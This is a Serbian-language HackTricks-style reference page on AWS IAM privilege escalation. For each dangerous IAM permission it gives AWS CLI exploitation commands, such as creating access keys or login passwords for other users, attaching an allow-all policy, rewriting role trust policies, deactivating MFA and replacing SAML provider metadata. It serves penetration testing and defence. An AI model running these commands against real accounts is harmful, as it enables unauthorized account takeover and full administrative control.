# AWS - IAM Privesc

{{#include ../../../banners/hacktricks-training.md}}

## IAM

Za više informacija o IAM-u pogledajte:

{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}

### **`iam:CreatePolicyVersion`**

Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za `iam:SetDefaultPolicyVersion` dozvolom korišćenjem `--set-as-default` oznake. Ovo omogućava definisanje prilagođenih dozvola.

**Eksploataciona komanda:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**Uticaj:** Direktno povećava privilegije omogućavajući bilo koju akciju na bilo kojem resursu.

### **`iam:SetDefaultPolicyVersion`**

Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola.

**Bash Komanda:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**Uticaj:** Indirektno povećanje privilegija omogućavanjem više dozvola.

### **`iam:CreateAccessKey`**

Omogućava kreiranje ID ključa za pristup i tajnog ključa za pristup za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija.

**Eksploatacija:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Uticaj:** Direktno povećanje privilegija preuzimanjem proširenih dozvola drugog korisnika.

### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktnog povećanja privilegija.

**Eksploatacija za kreiranje:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Eksploatacija za ažuriranje:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Uticaj:** Direktno povećanje privilegija prijavljivanjem kao "bilo koji" korisnik.

### **`iam:UpdateAccessKey`**

Omogućava aktiviranje onemogućenog pristupnog ključa, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni ključ.

**Eksploatacija:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**Uticaj:** Direktno povećanje privilegija ponovnim aktiviranjem pristupnih ključeva.

### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr., CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika.

**Eksploatacija za Kreiranje:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
```
**Eksploatacija za resetovanje:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Uticaj:** Direktno eskaliranje privilegija unutar dozvola usluge korisnika.

### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola pridružene politike.

**Eksploatacija za korisnika:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**Eksploatacija za Grupu:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**Uticaj:** Direktno povećanje privilegija na sve što politika omogućava.

### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

Omogućava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktno povećanje privilegija dodeljivanjem dodatnih dozvola.

**Iskorišćavanje za Ulogu:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Eksploatacija za Inline Politike:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
Možete koristiti politiku kao:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
```
**Uticaj:** Direktno eskaliranje privilegija dodavanjem dozvola putem politika.

### **`iam:AddUserToGroup`**

Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe.

**Eksploatacija:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**Uticaj:** Direktno povećanje privilegija na nivo dozvola grupe.

### **`iam:UpdateAssumeRolePolicy`**

Omogućava izmenu dokumenta politike pretpostavljanja uloge, omogućavajući preuzimanje uloge i njenih povezanih dozvola.

**Eksploatacija:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
Gde politika izgleda ovako, što korisniku daje dozvolu da preuzme ulogu:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
```
**Uticaj:** Direktno povećanje privilegija preuzimanjem dozvola bilo koje uloge.

### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

Omogućava učitavanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog povećanja privilegija.

**Eksploatacija za učitavanje SSH ključa:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Eksploatacija za deaktivaciju MFA:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Uticaj:** Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.

### **`iam:ResyncMFADevice`**

Omogućava resinkronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.

**Bash komanda:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Uticaj:** Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređaja.

### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

Sa ovim dozvolama možete **promeniti XML metapodatke SAML veze**. Tada biste mogli zloupotrebiti **SAML federaciju** da se **prijavite** sa bilo kojom **ulogom koja joj veruje**.

Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni.
```bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Alat sposoban za generisanje SAML metapodataka i prijavu sa određenom ulogom

### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

(Nesigurno u vezi s tim) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** kako bi uspeo da se prijavi u sve uloge koje veruju provajderu.
```bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
## Reference

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../banners/hacktricks-training.md}}
